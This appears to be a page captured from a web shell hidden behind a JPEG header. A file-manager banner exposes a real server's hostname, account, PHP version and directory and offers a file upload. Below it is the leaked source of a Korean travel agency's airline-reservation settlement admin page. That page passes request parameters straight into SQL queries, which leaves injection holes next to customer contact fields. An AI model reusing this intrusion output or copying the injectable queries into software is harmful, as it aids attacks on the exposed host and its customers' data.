ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/calculate/ |
Upload File : |
<? include "../include/top.html"; include "_common.php"; //테이블명 $table = "TB_RES_AIR"; // 항공사 목록 $airticket_data = to_airticket_airline(); if (!$start_key) $start_key = "ins_dt"; if(!$start_s1) $start_s1 = date("Y-m-")."01"; // 기간 검색 if(!$start_s2) $start_s2 = date("Y-m-d",strtotime(" +2 month")); // 기간 검색 // 검색 설정 $sql_where = " and res_stat_cd != 'D' "; $sql_where .= " and {$start_key} between '{$start_s1}' and '{$start_s2}' ";// 출발/도착일 검색 if ( $title_key and $title_s ) $sql_where .= " and {$title_key} like '%{$title_s}%' ";// 행사명 if($airline_code_s)$sql_where .= " and airline_code = '{$airline_code_s}' ";// 항공사코드 // 리스트 수 가져옴 $sql = "select count(*) as total from {$table} where 1 {$sql_where} "; $row = db_fetch($sql); $total = $row[total]; // 페이지수 설정 if (!$page) $page = 1; // 페이지 번호 $line = 50; // 보여줄 갯수 $list = 10; // 블럭 갯수 $total_page = ceil($total / $line); // 총페이지 if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1 if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈 $total_list = intval($total_page / $list); if ($total_page % $list == 0) $total_list--; $curr_list = intval($page / $list); if ($page % $list == 0) $curr_list--; $start_page = $curr_list * $list + 1; $prev_list = $start_page - $list; $next_list = $start_page + $list; $olds = $line * ($page - 1); // 정렬 설정 $sql_order=""; // limit $limit = " $olds , $line "; //배열에 저장 $data = array(); $data = res_air_master($sql_where,$sql_order,$limit); ?> <div class="contents_wrap"> <div class="contents_wrap_in"> <div class="title">할인항공 예약목록</div> <div class="contents_detail"> <!-- 폼 --> <form name="frm_search" id="frm_search" method="get"> <div class="c_top_bar"> <div class="lo_left"> <select name="start_key" style="width:70px;"> <option value="ins_dt" <?=($start_key=="ins_dt")?"selected":""?>>입력일</option> <option value="start_dt" <?=($start_key=="start_dt")?"selected":""?>>출발일</option> <option value="end_dt" <?=($start_key=="end_dt")?"selected":""?>>도착일</option> </select> <input type="text" name="start_s1" class="cal_input" value="<?=$start_s1?>" size="15" onclick="AjaxCal(this,event);" readonly> ~ <input type="text" name="start_s2" class="cal_input" value="<?=$start_s2?>" size="15" onclick="AjaxCal(this,event);" readonly> </div> <div class="lo_left"> <select name="airline_code_s" id="airline_code_s" class="lo_left top_input" > <option value="">==항공사==</option> <? for($i=0 ; $i < count($airticket_data['airline']) ; $i++){ $arr = $airticket_data['airline'][$i]; ?> <option value="<?=$arr['airline_code']?>" <?=($airline_code_s==$arr['airline_code'])?"selected":""?>><?=$arr['air_nm']?>(<?=$arr['airline_code']?>)</option> <?}?> </select> </div> <div class="lo_left"> <select name="title_key" style="width:120px;"> <option value="res_cust_nm" <?=($start_key=="res_cust_nm")?"selected":""?>>예약자명</option> <option value="res_cust_hp" <?=($start_key=="res_cust_hp")?"selected":""?>>예약자전화</option> <option value="res_cust_tel" <?=($start_key=="res_cust_tel")?"selected":""?>>예약자핸드폰</option> <option value="res_cust_email" <?=($start_key=="res_cust_email")?"selected":""?>>예약자이메일</option> <option value="agent_corp_nm" <?=($start_key=="agent_corp_nm")?"selected":""?>>대리점명</option> </select> <input class="search_box" id="title_s" name="title_s" value="<?=$title_s?>" type="text" /><input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_img" /> </div> </div> </form> <!-- /폼 --> <ul class="register_tab"> <li class="on"><a href="../calculate/air_date_cal.html">예약별 정산</a></li> <li><a href="../calculate/air_date_ev.html">출발일별 수익현황</a></li> <li><a href="../calculate/air_date_res.html">예약일별 수익현황</a></li> <li><a href="../calculate/air_date_admin.html">담당자별 수익현황</a></li> <li><a href="../calculate/air_date_depart.html">부서별 수익현황</a></li> <li><a href="../calculate/air_date_brench.html">지점별 수익현황</a></li> </ul> <div class="top_txt_s"> <div class="bar_wrap"> <p class="search_result_txt lo_left"><span>Total : <?=$total?></span></p> </div> </div> <div class="hotel_wrap"> <!-- 폼 --> <div id="ajax_res_list" style="width:100%;overflow-x:auto;overflow-y:hidden;"> <table border="0" cellspacing="0" cellpadding="0" width="1800px" class="t_list"> <thead> <tr> <td colspan="23" class="t_top_line"></td> </tr> <tr> <th width="30">No.</th> <th width="120">예약번호</th> <!-- <th width="40">PNR</th> --> <th>출발도착도시</th> <th width="250">출발도착일시</th> <th>항공</th> <th width="100">진행전달</th> <th width="60">진행상태</th> <th width="50">입금상태</th> <th>고객명</th> <th>핸드폰</th> <th width="30">인원</th> <th width="80">판매액</th> <th width="80">입금액</th> <th width="80">총비용</th> <th width="80">수수료수익</th> <th width="80">총수익</th> <th>담당자</th> <th width="80">입력일</th> <th width="70">-</th> </tr> </thead> <tbody> <? // 합계액 리셋 $gnd_inwon = 0 ; // 인원 계 $gnd_sales = 0; $gnd_pay = 0; $gnd_exes = 0; $gnd_comm = 0; $gnd_incom = 0; $gnd_d_people2 = 0; $gnd_d_people1 = 0; for($i=0 ; $i < count($data) ; $i++) { $row = $data[$i]; $num = count($data) - $i; $gnd_inwon += $row['inwon']; $gnd_sales += $row['sales_total']; $gnd_pay += $row['account']['pay_money']; // 예약확정, 미납요금이 '0' 이면 정산가능 $button_acc = ""; $acc_data = array(); if ( $row['res_stat_cd'] == "C" and $row['account']['pre_money'] == 0 and $row['admin_id'] != '') { $button_acc = "<input type='button' class='btn_orange_left' value='개별정산' "; $button_acc .= " onclick=\"to_dialog.iframe('air_date_cal_edit.html?res_no={$row[res_no]}','개별정산 - {$row[res_no]}','750','500',true,true,'yes');\" "; $button_acc .="><span class='btn_orange_right'></span>"; // 정산정보 $acc_data = acc_air_date($row['res_no']); // 합계 $gnd_exes += $acc_data['calu']['exes_tot'] ; $gnd_comm += $acc_data['calu']['comm_tot'] ; $gnd_incom += $acc_data['calu']['incom_tot'] ; } ?> <tr> <td><?=$num?></td> <td style="font-weight:bold;"><a href="javascript:;" onclick="to_dialog.iframe('../res_air/air_res_edit.html?res_no=<?=$row['res_no']?>','할인항공예약 수정 - <?=$row['res_no']?>','830','600',true,true,'yes');"><?=$row['res_no']?></a></td><!-- 예약번호 --> <td style="text-align:left"><?=$row['s_cidx_nm']?>(<?=$row['s_cidx']?>)→<?=$row['cidx_nm']?>(<?=$row['cidx']?>)</td><!-- 출발도착도시 --> <td style="text-align:left"><?=$row['start_dt']?> <?=$row['start_tm']?>→<?=$row['end_dt']?> <?=$row['end_tm']?></td><!-- 출발도착일시 --> <td><?=$row['air_nm']?>(<?=$row['airline_code']?>)</td> <td style="color:<?=$row['order_state_color']?>;"><?=$row['order_state_str']?></td><!-- 진행전달 --> <td style="color:<?=$row['res_stat_color']?>;"><?=$row['res_stat_str']?></td><!-- 진행상태 --> <td><?=$row['proc_str']?></td><!-- 입금상태 --> <td><?=$row['res_cust_nm']?></td> <td><?=$row['res_cust_hp']?></td> <td><?=$row['inwon']?></td><!-- 여행인원 --> <td style="text-align:right;padding-right:10px;"><?=number_format($row['sales_total'])?> </td><!-- 판매액 --> <td style="text-align:right;padding-right:10px;"><?=number_format($row['account']['pay_money'])?> </td><!-- 입금액 --> <td style="text-align:right;padding-right:10px;"><?=number_format($acc_data['calu']['exes_tot'])?></td><!-- 총비용 --> <td style="text-align:right;padding-right:10px;"><?=number_format($acc_data['calu']['comm_tot'])?></td><!-- 수수료수익 --> <td style="text-align:right;padding-right:10px;"><?=number_format($acc_data['calu']['incom_tot'])?></td><!-- 총수익 --> <td><?=$row['admin_nm']?></td><!-- 담당자 --> <td><?=$row['ins_dt2']?></td> <td><?=$button_acc?></td> </tr> <? } ?> <tr> <td colspan="10" style="text-align:right">계 </td> <td style="text-align:right;padding-right:10px;"><?=number_format($gnd_inwon)?> </td><!-- 판매액 계--> <td style="text-align:right;padding-right:10px;"><?=number_format($gnd_sales)?> </td><!-- 판매액 계--> <td style="text-align:right;padding-right:10px;"><?=number_format($gnd_pay)?> </td><!-- 입금액 계--> <td style="text-align:right;padding-right:10px;"><?=number_format($gnd_exes)?> </td><!-- 비용 계--> <td style="text-align:right;padding-right:10px;"><?=number_format($gnd_comm)?> </td><!-- 수수료수익 계--> <td style="text-align:right;padding-right:10px;"><?=number_format($gnd_incom)?> </td><!-- 총수익 계--> <td colspan="3"></td> </tr> </tbody> </table> </div> <!-- /폼 --> <? echo adm_get_paging($total_page, $page, $list, "?$bhref&page=", ""); ?> </div> </div> </div> </div> <script type="text/javascript"> var res_ticket_num,res_air_num; $(".mouse_over").bind({ mouseover:function(e){ $(this).css({"background-color":"#D7D7D7","cursor":"pointer"}); }, mouseout:function(e){ $(this).css("background-color","#FFFFFF"); } }); </script> <? include "../include/footer.html" ?>